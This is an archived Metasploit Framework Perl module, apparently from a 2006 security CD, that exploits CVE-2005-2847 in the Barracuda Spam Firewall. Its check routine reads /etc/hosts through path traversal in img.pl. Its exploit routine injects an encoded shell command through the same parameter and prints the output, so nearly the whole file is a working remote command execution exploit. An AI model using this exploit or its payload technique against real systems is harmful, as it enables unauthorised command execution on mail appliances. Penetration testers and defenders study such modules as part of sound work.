home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / barracuda_img_exec.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  172 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::barracuda_img_exec;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. use bytes;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info = {
  18.     'Name'     => 'Barracuda IMG.PL Remote Command Execution',
  19.     'Version'  => '$Revision: 1.3 $',
  20.     'Authors'  => [ 'Nicolas Gregoire <ngregoire@exaprobe.com>' ],
  21.     'Arch'     => [ 'x86' ],
  22.     'OS'       => [ 'linux' ],
  23.     'Priv'     => 0,
  24.     'UserOpts' =>
  25.       {
  26.         'RHOST' => [1, 'ADDR', 'The target address'],
  27.         'RPORT' => [1, 'PORT', 'The target port', 8000],
  28.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  29.         'IMG'   => [1, 'DATA', 'Full path of img.pl script', '/cgi-bin/img.pl'],
  30.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  31.       },
  32.  
  33.     'Description' => Pex::Text::Freeform(qq{
  34.         This module exploits an arbitrary command execution vulnerability in the
  35.         Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.
  36. }),
  37.  
  38.     'Refs' =>
  39.       [
  40.         ['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
  41.         ['CVE', '2005-2847'],
  42.         ['OSVDB', '19279'],
  43.         ['BID', '14712'],
  44.         ['NSS', '19556'],
  45.         ['MIL', '99'],
  46.       ],
  47.  
  48.     'Payload' =>
  49.       {
  50.         'Space' => 512,
  51.         'Keys'  => ['cmd'],
  52.       },
  53.  
  54.     'Keys' => ['barracuda'],
  55.  
  56.     'DisclosureDate' => 'Sep 01 2005',
  57.   };
  58.  
  59. sub new {
  60.     my $class = shift;
  61.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  62.     return($self);
  63. }
  64.  
  65. sub Check {
  66.     my $self = shift;
  67.     my $target_host    = $self->GetVar('RHOST');
  68.     my $vhost          = $self->VHost;
  69.     my $target_port    = $self->GetVar('RPORT');
  70.     my $img            = $self->GetVar('IMG');
  71.  
  72.     my $request =
  73.       "GET $img?f=%2e%2e/etc/hosts HTTP/1.1\r\n".
  74.       "Accept: */*\r\n".
  75.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  76.       "Host: $vhost:$target_port\r\n".
  77.       "Connection: Close\r\n".
  78.       "\r\n";
  79.  
  80.     my $s = Msf::Socket::Tcp->new(
  81.         'PeerAddr' => $target_host,
  82.         'PeerPort' => $target_port,
  83.         'SSL'      => $self->GetVar('SSL'),
  84.       );
  85.  
  86.     if ($s->IsError){
  87.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  88.         return $self->CheckCode('Connect');
  89.     }
  90.  
  91.     $self->PrintLine("[*] Establishing a connection to the target...");
  92.  
  93.     $s->Send($request);
  94.     my $results = $s->Recv(-1, 20);
  95.     $s->Close();
  96.     
  97.     if (($results =~ /HTTP\/1\..\s+200/) && ($results =~/127\.0\.0\.1/)) {
  98.  
  99.         $self->PrintLine("[*] Vulnerable server detected!");
  100.         return $self->CheckCode('Confirmed');
  101.         
  102.     } elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {
  103.  
  104.         $self->PrintLine("[*] The Barraccuda application was not found.");
  105.         return $self->CheckCode('Safe');
  106.     }
  107.  
  108.     $self->PrintLine("[*] Generic error...");
  109.     return $self->CheckCode('Generic');
  110. }
  111.  
  112. sub Exploit {
  113.     my $self = shift;
  114.     my $target_host    = $self->GetVar('RHOST');
  115.     my $vhost          = $self->VHost;
  116.     my $target_port    = $self->GetVar('RPORT');
  117.     my $img            = $self->GetVar('IMG');
  118.     my $encodedPayload = $self->GetVar('EncodedPayload');
  119.     my $cmd            = $encodedPayload->RawPayload;
  120.  
  121.     $img = $img."?f=".Pex::Text::URLEncode(qq#../bin/sh -c "echo 'YYY';#. $cmd .qq#;echo 'YYY'"|#);
  122.  
  123.     my $request =
  124.       "GET $img HTTP/1.1\r\n".
  125.       "Accept: */*\r\n".
  126.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  127.       "Host: $vhost:$target_port\r\n".
  128.       "Connection: Close\r\n".
  129.       "\r\n";
  130.  
  131.     my $s = Msf::Socket::Tcp->new(
  132.         'PeerAddr' => $target_host,
  133.         'PeerPort' => $target_port,
  134.         'SSL'      => $self->GetVar('SSL'),
  135.       );
  136.  
  137.     if ($s->IsError){
  138.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  139.         return;
  140.     }
  141.  
  142.     $self->PrintLine("[*] Establishing a connection to the target...");
  143.     $s->Send($request);
  144.     my $results = $s->Recv(-1, 20);
  145.     
  146.     if ($results =~ /HTTP\/1\.. 200 OK/im) {
  147.  
  148.         (undef, $results) = split(/YYY/, $results);
  149.         
  150.         $self->PrintLine(' ');
  151.         $self->PrintLine("$results");
  152.         $self->PrintLine(' ');
  153.  
  154.         $self->PrintLine("[*] End of data.");
  155.  
  156.     } else {
  157.         $self->PrintLine(' ');
  158.         $self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
  159.     }
  160.  
  161.     $s->Close();
  162.     return;
  163. }
  164.  
  165. sub VHost {
  166.     my $self = shift;
  167.     my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
  168.     return $name;
  169. }
  170.  
  171. 1;
  172.